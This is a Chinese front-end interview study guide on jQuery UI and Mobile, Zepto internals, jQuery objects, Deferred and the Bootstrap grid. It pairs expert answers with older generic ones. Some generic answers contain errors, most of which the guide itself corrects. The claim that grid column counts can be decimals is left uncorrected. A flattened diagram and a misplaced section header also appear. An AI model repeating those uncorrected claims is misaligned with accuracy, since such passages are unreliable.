一句话:jQuery 是底层工具库,jQuery UI 是建在它上面的桌面端组件库,jQuery Mobile 是建在它上面的移动端整站框架。 jQuery 只帮你操作 DOM、绑事件、发请求,不管界面长什么样;jQuery UI 提供对话框、日历、拖拽这些现成组件和一套主题系统;jQuery Mobile 管得更多,会接管页面跳转、把链接变成 Ajax 加载、加上触摸事件。后两个现在都不建议新项目用了,jQuery Mobile 已经正式废弃,jQuery UI 只做维护性更新。

  • jQuery 是一个功能强大的 JavaScript 库,主要用于简化和增强 JavaScript 开发中的 DOM 操作、事件处理、动画效果和 AJAX 请求等。它主要面向 PC 浏览器环境,使开发者能够更方便地操作和操控网页元素。
  • jQuery UI 则是建立在 jQuery 库的基础上的一个用户界面库。它提供了一系列交互性的特效、小部件和主题,用于创建丰富而美观的用户界面。jQuery UI 的组件包括对话框、拖拽、排序、自动完成等,开发者可以根据自己的需要选择和配置相应的组件。
  • jQuery Mobile 是一个专门针对移动设备的框架,也是基于 jQuery 的。它提供了一套用于构建移动 Web 应用的工具和组件,使开发者能够快速创建适配移动设备的界面和交互效果。jQuery Mobile 的组件包括页面导航、按钮、表单元素、触摸事件等,可以帮助开发者构建具有响应式和触摸友好的移动应用程序。

综上所述,jQuery 主要用于 PC 浏览器环境下的 Web 开发,jQuery UI 则提供了丰富的用户界面组件和主题,而 jQuery Mobile 则专注于移动设备上的 Web 应用开发。每个库都有自己的特点和应用场景,可以根据具体的需求选择使用。

💬 面试官追问

  • jQuery Mobile 为什么会被淘汰?

    它的思路是把多页面用 Ajax 拼成一个「伪单页」,DOM 越积越重、在低端安卓机上卡顿明显,样式也很难定制。后来移动端浏览器能力上来了,Vue、React 加移动组件库做得更好,它就没有存在价值了。

  • 老系统里只用了 jQuery UI 的日期选择器,引了整个库,怎么减重?

    jQuery UI 官网支持按组件自定义下载,只勾 datepicker 和它依赖的核心模块。更彻底的做法是换成原生 <input type="date"> 或者轻量的日期库,省掉整套依赖。

  • jQuery UI 的拖拽在手机上不能用,为什么?

    它是按鼠标事件 mousedown / mousemove 写的,移动端触摸不会产生连续的鼠标事件。当年的方案是引 jQuery UI Touch Punch 把触摸事件转成鼠标事件,新代码直接用 Pointer Events。

  • 面试官问「你们项目还在用 jQuery UI 吗」,怎么答比较好?

    实话实说现状,再讲清楚迁移思路:新功能用现代组件库写,老页面按模块逐步替换,替换前先确认 jQuery UI 组件的配置和事件有哪些业务在依赖。这题考的是你对技术债的判断,不是对库的熟悉度。

# 16 jQuery 和 Zepto 的区别? 各自的使用场景

⚡ 30 秒速记

  • Zepto 是给移动端用的 jQuery 轻量替代,API 基本一致,压缩加 gzip 后大约 10KB,jQuery 3 大约 30KB
  • 差别来源:Zepto 只面向现代 WebKit,直接用 querySelectorAll、classList,不处理老 IE
  • 动画走 CSS3 transition,jQuery 是 JS 定时器逐帧改样式
  • 模块化:默认只打包 zepto event ajax form ie,fx、touch 等按需加;还自带 tap 等触摸事件
  • 场景(历史):PC 要兼容 IE 用 jQuery,移动 H5 用 Zepto;今天两者都已过时,Zepto 最后一次发布是 2016 年

Zepto 是专门给移动端做的轻量版 jQuery,调用方式几乎一样,但体积只有它的三分之一左右。 它小的原因是砍掉了兼容包袱:只考虑现代 WebKit,选择器直接交给 querySelectorAll,动画直接用 CSS3 transition,不像 jQuery 要照顾老 IE。所以当年的分法是 PC 后台用 jQuery,移动 H5 用 Zepto。不过 Zepto 也有自己的坑,最出名的是 tap 事件的点透问题。现在两个都不建议用了,新项目直接原生 API 加框架。

你的总结很准确。

  • jQuery 是一个功能强大的 JavaScript 库,主要面向 PC 网页开发,并兼容主流的浏览器。它提供了丰富的功能和跨浏览器的兼容性,可以方便地进行 DOM 操作、事件处理、动画效果和 AJAX 请求等。在移动设备方面,jQuery 单独推出了 jQuery Mobile,用于移动端的 Web 应用开发。
  • Zepto 是一个专注于移动设备的 JavaScript 库,它的设计目标是提供轻量级的库并具有良好的性能。Zepto 的 API 基本兼容 jQuery,可以方便地进行 DOM 操作、事件处理和动画效果等。由于它专注于移动设备,所以在移动端的性能和兼容性方面表现更好。然而,在 PC 浏览器上的兼容性并不如 jQuery。

因此,jQuery 主要用于 PC 网页开发,适用于需要广泛兼容各类浏览器的项目。而 Zepto 则更适用于移动设备的开发,尤其是在对性能和轻量级要求较高的移动应用中。根据具体的项目需求和目标平台选择合适的库是很重要的。

💬 面试官追问

  • Zepto 的 tap 点透是怎么回事?

    tap 在 touchend 时触发,弹层马上关掉了,但浏览器大约 300ms 后还会补发一个 click,这个 click 落到了弹层下面的元素上。解法是在 touchend 里 preventDefault() 或者直接用 click;现在加了 width=device-width 的页面浏览器已经去掉了 300ms 延迟,用 click 就行。

  • 从 jQuery 换成 Zepto,$('div:visible') 报错了,为什么?

    Zepto 选择器直接走 querySelectorAll,不认 jQuery 的扩展伪类。要用得额外引 selector 模块,或者改成 .filter() 自己判断。

  • Zepto 里 $('#box').animate(...) 没效果,为什么?

    默认打包里不含 fx 模块,animate 根本不存在,或者引了但元素属性不支持 transition。确认构建时加了 fx 模块,再看动画的属性是不是能过渡的。

  • 现在做一个活动 H5,还会选 Zepto 吗?

    不会。它的功能现在原生几乎都有:querySelectorAll、classList、fetch、addEventListener,动画用 CSS 或 Web Animations API。真需要框架就上 Vue 或 React,没必要背一个不维护的库。

# 17 jQuery对象的特点

⚡ 30 秒速记

  • 是类数组对象:有 length 和数字下标,但不是 Array,Array.isArray($el) 是 false
  • 里面装的是原生 DOM 元素,$el[0] / $el.get(0) 取原生,$(el) 把原生包回来
  • 隐式迭代:$('.item').hide() 自动作用到每个元素;但读值方法只读第一个,$('input').val() 只返回第一个的值
  • 链式调用:写方法 return this;.find()、.filter() 这类会返回新集合,.end() 能回到上一个集合
  • 空集合不报错:选择器写错了也安静执行,判断存在要看 .length

jQuery 对象就是一个包了一组原生 DOM 元素的类数组对象,上面挂着 jQuery 的方法。 它有三个特点要记住:一是类数组,有下标和 length 但没有原生数组方法,.map()、.each() 都是 jQuery 自己实现的,参数顺序和原生还不一样;二是隐式迭代,写操作自动作用到每个元素,但读操作只读第一个;三是链式调用。另外空集合不会报错,所以判断元素存不存在要写 if ($el.length),写 if ($el) 永远是真。

  • jQuery 对象是由 jQuery 构造函数创建的对象,它是一个类数组对象。
  • jQuery 对象是通过选择器选择的一组元素,可以对这组元素进行操作和处理。
  • jQuery 对象具有 jQuery 库提供的一系列方法,可以方便地进行 DOM 操作、事件处理、动画效果和数据交互等。
  • jQuery 对象可以使用 jQuery 的方法进行链式调用,提高代码的简洁性和可读性。

需要注意的是,jQuery 对象并不是真正的数组,虽然它类似于数组,但不具备数组的所有特性。但可以使用类数组对象的一些方法,如 .each() 和 .length。

示例:

var $divs = $('div'); // 选择所有的 div 元素,返回一个 jQuery 对象
console.log($divs.length); // 输出 div 元素的数量

$divs.hide().fadeIn(); // 链式调用方法,隐藏 div 元素然后淡入显示
$divs.each(function() {
  // 遍历每个 div 元素并执行回调函数
  console.log($(this).text()); // 输出每个 div 元素的文本内容
});

总结起来,jQuery 对象是一个特殊的对象,它代表了一组元素,并提供了方便的方法和链式调用,以简化对这组元素的操作。

💬 面试官追问

  • if ($('#modal')) { ... } 有什么问题?

    $() 永远返回一个对象,哪怕一个元素都没选中,对象在判断里永远是真,if 必进。要写 if ($('#modal').length)。

  • $('input').val() 页面上有 5 个输入框,返回什么?

    只返回第一个输入框的值。jQuery 的约定是写操作作用于全部、读操作只取第一个。要拿全部的值用 $('input').map((i, el) => el.value).get()。

  • $('li').map(fn) 之后想直接 .join(','),为什么报错?

    jQuery 的 .map() 返回的还是 jQuery 对象,不是数组,没有 join。中间加一个 .get() 转成真数组。另外它的回调参数是 (index, element),和原生 map 的 (element, index) 正好反过来。

  • $('ul').find('li').addClass('a').end().addClass('b'),b 加在谁身上?

    加在 ul 上。每次 .find() 产生新集合时会记住上一个集合,.end() 就回到它。这种写法很省事,但一长就不好读,我一般会拆成两行。

# 18 Zepto的实现原理

⚡ 30 秒速记

  • 和 jQuery 同一个模式:$() 工厂 → zepto.init → 用 Z 构造类数组对象,Z.prototype = $.fn 共享方法
  • 早期版本更暴力:拿到元素数组后直接 dom.__proto__ = $.fn,让数组直接用上 $.fn 的方法
  • 选择器是 zepto.qsa:#id / 类名 / 标签走对应的 getElement*,其余交给 querySelectorAll,不带 Sizzle
  • 动画(fx 模块)设置 CSS3 transition,监听 transitionend 回调;ajax 基于 XMLHttpRequest
  • 按模块拆分打包,touch 模块用 touchstart / touchend 合成 tap、swipe 事件

Zepto 的骨架和 jQuery 一样,也是「工厂函数 + 包装对象 + 共享原型」,只是它把兼容层全砍了,直接站在现代浏览器的原生 API 上。 选择器用自己的 zepto.qsa,简单的 #id、类名走 getElementById 这类快路径,其余直接 querySelectorAll,不带 Sizzle;动画是给元素加 transition 然后等 transitionend,不用定时器算帧。早期版本有个很有意思的写法,直接把元素数组的 __proto__ 改成 $.fn,一个真数组就有了全部方法。常见说法里讲它用 Sizzle、用定时器做动画,这两点都不对。

Zepto 是一个轻量级的 JavaScript 库,旨在提供类似于 jQuery 的功能,但专注于移动设备的 Web 开发。它的实现原理如下:

  1. 核心选择器功能:Zepto 使用 CSS 选择器引擎 Sizzle 来实现元素的选择和遍历。Sizzle 是一个独立的选择器库,它使用了 CSS3 选择器语法和一些扩展来支持复杂的选择操作。
  2. DOM 操作:Zepto 封装了一系列 DOM 操作方法,如添加、删除、修改和查询元素等。它通过原生 DOM API 来实现这些方法,并对其进行了封装和优化,以提供更便捷的操作接口。
  3. 事件处理:Zepto 提供了一套事件处理机制,通过绑定和触发事件来实现交互功能。它使用原生的 DOM 事件来处理事件,并提供了一些简化和增强的方法,如 on()、off()、trigger() 等。
  4. 动画效果:Zepto 支持基本的动画效果,如淡入淡出、滑动、渐变等。它通过改变元素的 CSS 属性值和使用定时器来实现动画效果,同时对动画进行了优化,以提高性能和流畅度。
  5. AJAX 请求:Zepto 提供了简单的 AJAX 功能,可以发送异步请求并处理服务器返回的数据。它使用原生的 XMLHttpRequest 对象来实现 AJAX 请求,并提供了一些便捷的方法,如 $.ajax()、$.get()、$.post() 等。
  6. 扩展插件:Zepto 支持通过插件扩展其功能。开发者可以根据需要编写自定义插件,并将其集成到 Zepto 中,以提供更多的功能和特性。

总体而言,Zepto 的实现原理是基于原生的 DOM API 和一些辅助库,通过封装和优化,提供了类似于 jQuery 的功能,并专注于移动设备的 Web 开发。它的目标是提供简洁、高效的代码,以满足移动设备上的性能和资源要求。

以下是 Zepto 的一些常见用法示例代码:

  1. 选择器和 DOM 操作:
// 通过选择器获取元素并操作
var $element = $('.my-element');
$element.addClass('highlight');
$element.text('Hello, Zepto!');

// 创建新元素并插入到页面中
var $newElement = $('<div class="new-element">New Element</div>');
$('body').append($newElement);
  1. 事件处理:
// 绑定事件处理函数
$('.my-button').on('click', function() {
  console.log('Button clicked!');
});

// 解绑事件处理函数
$('.my-button').off('click');

// 触发自定义事件
$('.my-element').trigger('customEvent');
  1. 动画效果:
// 淡入淡出效果
$('.my-element').fadeIn();
$('.my-element').fadeOut();

// 滑动效果
$('.my-element').slideDown();
$('.my-element').slideUp();

// 渐变效果
$('.my-element').animate({ opacity: 0.5 }, 500);
  1. AJAX 请求:
// 发送 GET 请求
$.get('https://api.example.com/data', function(response) {
  console.log('Response:', response);
});

// 发送 POST 请求
$.post('https://api.example.com/data', { name: 'poetry', age: 25 }, function(response) {
  console.log('Response:', response);
});

这些示例代码展示了 Zepto 的一些常见用法,包括选择器和 DOM 操作、事件处理、动画效果以及 AJAX 请求。请注意,Zepto 的用法与 jQuery 类似,但并不完全兼容 jQuery 的所有功能和方法。

Zepto 的核心骨架可以浓缩成下面几行(简化自 Zepto 1.2),对照着看就知道它和 jQuery 是同一个思路:

var $ = function (selector, context) {
  return zepto.init(selector, context)
}

zepto.init = function (selector, context) {
  var dom
  if (!selector) return zepto.Z()
  if (typeof selector === 'string') {
    selector = selector.trim()
    dom = selector[0] === '<'
      ? zepto.fragment(selector)          // HTML 字符串 → 创建节点
      : zepto.qsa(document, selector)     // 选择器 → 原生查询
  } else if (typeof selector === 'function') {
    return $(document).ready(selector)
  } else {
    dom = [selector]                      // 原生节点直接包
  }
  return zepto.Z(dom, selector)
}

function Z(dom, selector) {
  for (var i = 0; i < dom.length; i++) this[i] = dom[i]
  this.length = dom.length
  this.selector = selector || ''
}
zepto.Z = function (dom, selector) { return new Z(dom || [], selector) }
$.fn = { /* each、addClass、css、on ... */ }
zepto.Z.prototype = Z.prototype = $.fn    // 共享原型,和 jQuery 一样

zepto.qsa 会先用正则判断是不是单个 #id、.class 或标签名,是的话分别调 getElementById、getElementsByClassName、getElementsByTagName,否则直接 querySelectorAll,没有任何自研的选择器引擎。动画在 fx 模块里:把目标样式和 transition 一起写到元素上,监听 transitionend,再加一个定时器兜底触发回调。ajax 模块就是对 XMLHttpRequest 的封装。整个库就是把「现代浏览器已经有的能力」包成 jQuery 风格的 API,所以它很小,也因此不支持老 IE。

💬 面试官追问

  • dom.__proto__ = $.fn 这种写法有什么问题?

    能跑,但改对象原型会让 JS 引擎丢掉对它的优化,而且 __proto__ 当年不是标准,在 IE 上不支持。Zepto 1.1 之后改成了 function Z(dom) 加 Z.prototype = $.fn,和 jQuery 的方式一致。

  • Zepto 的 tap 是怎么合成出来的?

    在 document 上监听 touchstart 记下位置和时间,touchend 时判断位移很小、时间很短,就在目标元素上 trigger('tap')。因为是在 touchend 时触发的,后面浏览器还会补一个 click,这就是点透的来源。

  • 用 transition 做动画,动画结束的回调怎么保证一定执行?

    监听 transitionend 不保险,属性值没变化或者元素被隐藏时它不会触发。Zepto 的 fx 模块会同时设一个比时长略长的 setTimeout 兜底,哪个先到就执行回调并清掉另一个。

  • Zepto 和 jQuery 的源码,哪个更适合拿来学?

    入门看 Zepto,核心几百行,「包装器 + 原型共享」的骨架一眼能看清;想学兼容处理和事件系统的完整设计看 jQuery。两者都是学思路,不是学 API。

# 19 是否用过 jQuery 的 Deferred

⚡ 30 秒速记

  • Deferred 是 jQuery 在 Promise 标准化前自己做的异步方案,$.ajax 返回的 jqXHR 就实现了它的接口
  • 用法:const d = $.Deferred(),d.resolve(v) / d.reject(e) 改状态,d.promise() 交出去一个改不了状态的只读对象
  • done / fail / always 对应成功、失败、无论如何;$.when(a, b) 类似 Promise.all,一个失败就失败
  • 版本坑:3.0 之前 then 回调同步执行、回调里抛异常不会变成 reject,3.0 起才符合 Promises/A+
  • 今天直接用原生 Promise 和 async/await,await 也能直接等一个 jqXHR

Deferred 是 jQuery 自己实现的一套异步状态管理,作用和后来的 Promise 差不多,只是比原生 Promise 更早。 它的设计很清楚:Deferred 对象自己能 resolve 和 reject,对外只交出 d.promise(),调用方只能监听不能改状态。$.ajax() 返回的对象就支持 .done()、.fail(),多个请求一起等用 $.when()。要注意版本:3.0 之前它不符合 Promises/A+,then 里抛错不会进 fail,回调还是同步跑的,升级时这块最容易出问题。

时序图 · 4 个参与者 / 12 步
alt 请求成功请求失败调用方调用方封装函数封装函数Deferred 对象Deferred 对象服务端服务端调用 loadUser1创建 Deferred2返回 d.promise 只读对象3注册 done 和 fail 回调4发起请求5返回用户数据6resolve 数据7执行 done 回调8超时或报错9reject 错误10执行 fail 回调11最后执行 always 回调12

# 五、Bootstrap相关

把 Deferred 的核心用法和版本差异用代码串一遍:

// 1. 把一个回调式的异步操作包成 Deferred
function loadImage(src) {
  const d = $.Deferred()
  const img = new Image()
  img.onload = () => d.resolve(img)
  img.onerror = () => d.reject(new Error('加载失败: ' + src))
  img.src = src
  return d.promise() // 只交出只读对象,外面改不了状态
}

loadImage('/a.png')
  .done(img => console.log('ok', img.width))
  .fail(err => console.log(err.message))
  .always(() => console.log('结束'))

// 2. 并行等待多个,类似 Promise.all,一个失败就进 fail
$.when(loadImage('/a.png'), loadImage('/b.png'))
  .done((a, b) => console.log('都好了'))

// 3. 链式转换用 then(1.8 之前叫 pipe,已废弃)
$.ajax('/api/user').then(res => res.name).done(name => console.log(name))

和原生 Promise 对比,要记住几个差异:

  • 状态有 pending、resolved、rejected 三种,用 d.state() 可以直接读,原生 Promise 没有这个方法。
  • done / fail 可以注册多次,d 已经完成后再注册会立刻同步执行;3.0 起 then 回调改成了异步执行,和原生一致。
  • 3.0 之前 then 里抛出的异常不会变成 reject,会直接冒到全局;3.0 起符合 Promises/A+,异常会进入后续的 fail / catch。
  • jqXHR 是一个 thenable,可以直接 await,也可以 Promise.resolve($.ajax(url)) 转成原生 Promise 再接入现代代码。

现在写新代码直接用原生 Promise 和 async/await,Deferred 主要是在维护老项目、读老插件源码时要能看懂。

💬 面试官追问

  • $.ajax(...).then(res => { throw new Error() }),后面的 .fail() 能收到吗?

    看版本。jQuery 3.0 起能收到,行为和原生 Promise 一样;1.x / 2.x 里异常会直接抛到外面,fail 收不到。老项目升级到 3.x 时,这里的行为变化要专门测。

  • 为什么要返回 d.promise(),而不是直接把 d 交出去?

    d 上有 resolve 和 reject,交出去谁都能改状态,可能请求还没回来就被别人 resolve 了。promise() 返回的对象只有 done、then 这些监听方法,状态只能由创建者改。

  • $.when(a, b).done((r1, r2) => {}),拿到的 r1 为什么是个数组?

    $.ajax 的 resolve 会带三个参数 (data, textStatus, jqXHR),传给 $.when 时每个请求的结果就被打包成一个数组,所以 r1[0] 才是数据。单个请求用 $.when(a) 时又不包,这种不一致是老代码里的常见坑。

  • 老项目里的 $.ajax 能直接用 async/await 吗?

    能。jqXHR 有 then 方法,是个 thenable,const data = await $.ajax(url) 可以直接拿到数据。失败时要 try...catch,抛出来的是 jqXHR 对象而不是 Error。

  • 自己写一个延迟 ms 毫秒的函数,用 Deferred 和原生 Promise 各怎么写?

    Deferred 版:const d = $.Deferred(); setTimeout(d.resolve, ms); return d.promise()。原生版:new Promise(r => setTimeout(r, ms))。思路一样,原生版把 resolve 关在构造函数里,天然就不会泄露出去。

# 1 什么是Bootstrap?以及为什么要使用Bootstrap?

⚡ 30 秒速记

  • Bootstrap 是 Twitter 开源的 CSS 框架:栅格系统 + 预设组件 + 工具类,不会设计也能快速搭出像样的页面
  • 栅格:12 列,row 包 col,断点 sm 576px / md 768px / lg 992px / xl 1200px / xxl 1400px,移动优先
  • 版本:3 用 float 栅格,4 改用 flex,5 去掉了 jQuery 依赖、不再支持 IE,5.3 加了暗色模式
  • 好处:视觉统一、响应式开箱即用、文档和模板生态大;适合后台、官网、原型
  • 代价:页面长得都一样、类名堆在 HTML 里、深度定制要改 Sass 变量;新项目更常见 Tailwind 或组件库

Bootstrap 是一套现成的 CSS 框架,核心是 12 列的响应式栅格加一批预设组件,目的就是让人不用从零写样式也能快速出一个能看的页面。 它是移动优先的,col-md-6 的意思是从 md 断点(768px)往上占一半宽,往下就自动铺满一行,响应式基本白送。后台系统、活动官网、做原型都很合适。缺点是大家做出来都一个样,定制主题要去改 Sass 变量。现在新项目我更多会选 Tailwind 或者 Ant Design 这类组件库,不过栅格和断点的思路是通用的。

Bootstrap是一个流行的开源前端框架,用于快速构建响应式和移动优先的网站和Web应用程序。它基于HTML、CSS和JavaScript,并提供了一套预定义的样式和组件,使开发人员能够快速构建现代化、美观和功能丰富的界面。

使用Bootstrap的原因如下:

  1. 快速开发: Bootstrap提供了大量的预定义样式和组件,开发人员可以通过简单地应用这些样式和组件来快速构建页面和布局。这样可以节省大量的时间和精力,加快项目的开发速度。
  2. 响应式设计: Bootstrap具有响应式设计的特性,能够适应不同屏幕大小和设备类型的展示。无论是在桌面电脑、平板还是手机上,页面都能够自动适配和呈现最佳的用户体验。
  3. 浏览器兼容性: Bootstrap经过广泛的测试和优化,能够在各种主流浏览器中保持一致的显示效果和功能。开发人员不需要为不同浏览器的差异而担心,可以放心地使用Bootstrap来开发跨浏览器兼容的网站和应用程序。
  4. 组件丰富: Bootstrap提供了大量的UI组件,例如导航菜单、按钮、表格、表单、模态框等,这些组件具有统一的样式和交互效果,可以快速构建出现代化的用户界面。
  5. 社区支持和文档丰富: Bootstrap拥有庞大的开发者社区,有许多开发者在使用和贡献Bootstrap,因此可以轻松获取到各种问题的解答和技术支持。此外,官方提供了详细的文档和示例,开发人员可以方便地学习和使用Bootstrap。

总而言之,使用Bootstrap可以使开发人员更加高效地构建现代化的网站和Web应用程序,减少重复工作,提高开发速度,并确保页面具有良好的用户体验和浏览器兼容性。

💬 面试官追问

  • <div class="col-md-6"> 在手机上是什么效果?

    占满一整行。Bootstrap 是移动优先,col-md-6 只在宽度 ≥768px 时生效为一半宽,更小的屏幕没有匹配的类,就回落成默认的 100% 宽。要手机上也一半就写 col-6。

  • 为什么 .row 要有负的 margin?

    每个 col 两边有 padding 当槽距,第一列左边和最后一列右边也会多出一块。.row 用负 margin 把这两块抵掉,内容就能和容器边缘对齐。所以 col 必须放在 row 里,row 必须放在 container 里。

  • 项目用了 Bootstrap 5,又引了 jQuery,组件报错了,可能是什么原因?

    Bootstrap 5 的 JS 组件不再依赖 jQuery,用 data-bs-toggle 这种带 bs 前缀的属性。很多人从 4 升级时还写着 data-toggle,组件就没反应。另外下拉、提示框依赖 Popper,要用打包版 bootstrap.bundle.js。

  • 设计稿主色和 Bootstrap 默认蓝不一样,怎么改最干净?

    在引入 Bootstrap 的 Sass 源码之前覆盖变量,比如 $primary: #ff6600;,再编译,按钮、链接、表单焦点色会一起变。别在业务 CSS 里一个个覆盖 .btn-primary,漏改的地方会一直冒出来。5.x 也可以在运行时改 --bs-primary 这类 CSS 变量,但不是所有组件都读它。

  • 新项目让你在 Bootstrap 和 Tailwind 之间选,你怎么想?

    要快速出一个后台、团队没有设计规范,Bootstrap 组件拿来就用更省事;有自己的设计稿、需要高度定制,Tailwind 更合适,原子类不预设长相,打包时还能把用不到的样式剔掉。两者都不解决交互组件的问题,复杂交互还是要组件库。

# 2 使用Bootstrap时,要声明的文档类型是什么?以及为什么要这样声明?

⚡ 30 秒速记

  • 声明 <!DOCTYPE html>,就是 HTML5 的文档类型,大小写不敏感
  • 作用只有一个:让浏览器进标准模式,不写就掉进怪异模式(quirks mode)
  • 怪异模式下百分比高度、行高、表格样式的算法都跟标准不一样,Bootstrap 的栅格、表单会莫名其妙错位
  • 它不是「开启 HTML5 新标签」的开关,<section> 这些标签不写 DOCTYPE 也能解析
  • 移动端还要配 <meta name="viewport" content="width=device-width, initial-scale=1">,否则响应式断点全部不触发

用 Bootstrap 要在第一行写 <!DOCTYPE html>,目的是让浏览器按标准模式渲染。 说白了 DOCTYPE 是给浏览器看的模式开关:写了就是标准模式,漏了或者写成很老的 DTD,浏览器会退回怪异模式,兼容几十年前的页面写法,行高、百分比高度、表格这些都按老算法来。Bootstrap 的样式全是按标准模式写的,官方文档也明说必须用 HTML5 的 DOCTYPE,否则会看到一堆残缺的样式。很多人会答「为了用 HTML5 新标签」,这个其实不准,新标签跟 DOCTYPE 没关系。

在使用Bootstrap时,需要在HTML文件的开头声明HTML5文档类型(Doctype),即<!DOCTYPE html>。这是因为Bootstrap使用了一些HTML5的新特性、元素和CSS属性,而HTML5文档类型的声明能够告诉浏览器使用HTML5的解析方式来解析页面内容。

声明HTML5文档类型的重要性在于:

  1. 使用HTML5特性: 声明HTML5文档类型后,开发人员可以在页面中使用HTML5新增的元素、属性和API,如<section>、<header>、<footer>、<nav>等。这些新特性可以提供更好的语义化结构,以及更丰富和灵活的功能。
  2. 浏览器解析方式: 声明HTML5文档类型可以让浏览器按照HTML5的规范来解析和渲染页面,确保页面在各种浏览器中一致地显示。不同的文档类型会触发不同的浏览器解析模式,而HTML5的解析模式更符合现代化的标准和规范。
  3. 代码验证: 使用HTML5文档类型声明可以使代码通过W3C标准的验证,符合Web开发的最佳实践。W3C验证能够帮助开发人员发现和修复代码中的错误和潜在问题,提高代码的质量和可靠性。
  4. 未来兼容性: HTML5是Web发展的趋势和标准,使用HTML5文档类型声明可以确保页面在未来的Web环境中保持良好的兼容性。同时,它也是使用其他HTML5相关技术和框架的前提条件,如Canvas、Web Components等。

总之,声明HTML5文档类型是使用Bootstrap时的必要步骤,它能够确保页面能够正常使用Bootstrap提供的样式和组件,并且能够充分利用HTML5的新特性和浏览器解析方式,以获得更好的开发和用户体验。

💬 面试官追问

  • 怎么确认当前页面是标准模式还是怪异模式?

    控制台敲 document.compatMode,返回 "CSS1Compat" 是标准模式,"BackCompat" 就是怪异模式。

  • DOCTYPE 前面多了一行注释或者空白,会有影响吗?

    空白和注释现在的浏览器基本都能容忍。真正会出事的是前面有 BOM 之外的可见字符,或者模板引擎在前面吐了一段输出,老 IE 会因此进怪异模式。保险做法就是让它稳稳在第一行。

  • 页面写了 DOCTYPE,但手机上 col-md-6 还是按桌面宽度显示,缺什么?

    缺 viewport 那行 meta。不写的话手机浏览器默认按 980px 左右的虚拟视口排版,媒体查询拿到的宽度是桌面宽度,断点永远落在大屏那档。

  • 写 XHTML 1.0 Transitional 的 DOCTYPE 行不行?

    Transitional 带完整 DTD 地址时是标准模式,但有些组合会触发「近标准模式」,图片在表格单元格里的间隙会不一样。没理由折腾,统一 <!DOCTYPE html> 就完事了。

# 3 什么是Bootstrap网格系统

⚡ 30 秒速记

  • 一套 12 列的响应式栅格:container → row → col
  • 12 能被 2/3/4/6 整除,二分、三分、四分都排得开
  • Bootstrap 3 用 float 实现,Bootstrap 4 起改成 flexbox,所以有了 .col 自动等分
  • 断点前缀决定从哪个宽度往上生效:col-md-6 = 视口 ≥768px 时占一半,更窄就整行堆叠
  • 新项目没用框架的话,CSS Grid 的 repeat(12, 1fr) 或者 flex 自己写几行就够了

Bootstrap 网格就是把一行切成 12 份,你只管告诉每列占几份、在哪个屏幕宽度下占几份。 结构固定三层:container 管最大宽度和左右留白,row 是一行,col-* 是列。比如 <div class="col-12 col-md-6">,手机上占满一行,768px 以上变成半宽,两列并排。它的价值是把响应式布局变成写类名,团队里大家看类名就知道布局,不用每个人自己写媒体查询。底层在 Bootstrap 4 之后是 flex,所以 .col 不写数字就能等分剩余空间。

Bootstrap网格系统是Bootstrap框架中的一个核心组件,用于创建响应式的网页布局。它基于一个12列的栅格系统,可以根据设备或视口的大小,将页面水平分割为不同的列。

关键特点如下:

  1. 响应式设计: Bootstrap的网格系统是响应式的,可以自动适应不同屏幕尺寸,从大屏幕到小屏幕,如桌面、平板和移动设备。网格系统的列会自动调整和重新排列,以适应不同的视口大小,从而提供更好的用户体验。
  2. 12列栅格系统: 网格系统将页面水平分为12列,并使用CSS的类来定义每个元素所占的列数。开发人员可以根据需要将元素放置在这些列中,从而创建灵活的布局。列数可以是整数,也可以是小数,以实现更精细的布局。
  3. 容器和行: 网格系统由容器(container)和行(row)组成。容器是网格系统的最外层包裹元素,用于限制网格内容的宽度,并提供水平的内边距。行是容器内的一行元素,用于包含网格列。每一行被分割为12个等宽的列。
  4. 列(Column): 列是网格系统的基本单位,位于行内,用于放置内容。开发人员可以通过为列添加CSS类来定义其所占的列数,如col-md-6表示该列占据父容器的一半宽度。可以根据需要在不同的屏幕尺寸上指定不同的列宽。

通过使用Bootstrap的网格系统,开发人员可以轻松创建具有灵活布局的响应式网页。网格系统提供了简单易用的类,使得网页元素可以自适应不同的屏幕尺寸,从而提供了一致的用户体验,并且可以根据需要进行自定义和扩展。

💬 面试官追问

  • 为什么是 12 列,不是 10 列或 16 列?

    12 的因数多,1/2、1/3、1/4、1/6 都是整数份。10 列排三等分就没办法,16 列排不了三等分。

  • 一行里三个 col-md-5,加起来 15 份,会怎样?

    超过 12 份的那一列会自动换到下一行。Bootstrap 4+ 的 row 是 flex-wrap: wrap,所以前两个并排,第三个掉下去。

  • col 和 col-auto 有啥区别?

    col 是 flex: 1 0 0%,几个 col 平分剩余空间;col-auto 是 flex: 0 0 auto,宽度跟着内容走。常见用法是按钮列 col-auto、输入框列 col。

  • 现在自己写布局,还有必要引 Bootstrap 只为栅格吗?

    一般不这么干。display: grid; grid-template-columns: repeat(12, 1fr); gap: 24px; 加两个媒体查询就是一套栅格,没必要为它拉一整个框架。老项目已经在用就继续用,别混着两套。

# 4 Bootstrap 网格系统(Grid System)的工作原理

⚡ 30 秒速记

  • container:限制最大宽度、居中,左右留 padding
  • 列:每列左右各一半 gutter 的 padding,相邻两列拼起来就是完整间距
  • row:负 margin 把首尾列多出来的 padding 抵掉,内容和容器边缘对齐
  • 列宽是百分比:col-4 = 33.333%;断点靠 min-width 媒体查询,移动优先
  • 实现方式分版本:Bootstrap 3 是 float + clearfix,4 和 5 是 flex,5 的间距改成 CSS 变量 --bs-gutter-x

网格的原理可以压成一句话:百分比列宽 + 列的 padding 做间距 + row 的负 margin 抵消首尾。 每列左右都有半个间距的 padding,两列挨着就凑成一个完整的间距,但最左和最右也多了半个,row 用等量的负 margin 往外扯一下,内容就和容器边缘齐了。列宽就是份数除以 12 的百分比,外面套一层 min-width 媒体查询,宽度够了才生效,不够就回退到更小断点的规则。所以规矩是 row 里直接放 col,内容放 col 里,乱嵌就会出现横向滚动条或者对不齐。

Bootstrap网格系统的工作原理如下:

  1. 容器(Container): 在使用Bootstrap网格系统之前,需要将行(Row)放置在.container类内。容器提供适当的对齐和内边距,并将网格内容限制在特定宽度范围内。
  2. 行(Row): 行用于创建列的水平组。行必须是容器的直接子元素。通过将元素放置在行内,可以将其划分为网格列,并确定它们在水平方向上的排列方式。
  3. 列(Column): 列是网格系统的基本单位,用于放置内容。列必须是行的直接子元素。使用预定义的网格类(例如.col-xs-4)可以快速创建网格布局。通过指定要横跨的列数,可以将内容放置在相应的列中,例如.col-xs-4表示占据12个列中的4个列,即1/3的宽度。
  4. 列间距(Gutter): 列之间的间距是通过列内的内边距(padding)来创建的。网格系统使用负外边距(margin)在行上来抵消列的内边距,从而实现列之间的间隔。这样可以确保列之间没有额外的空白间隙。
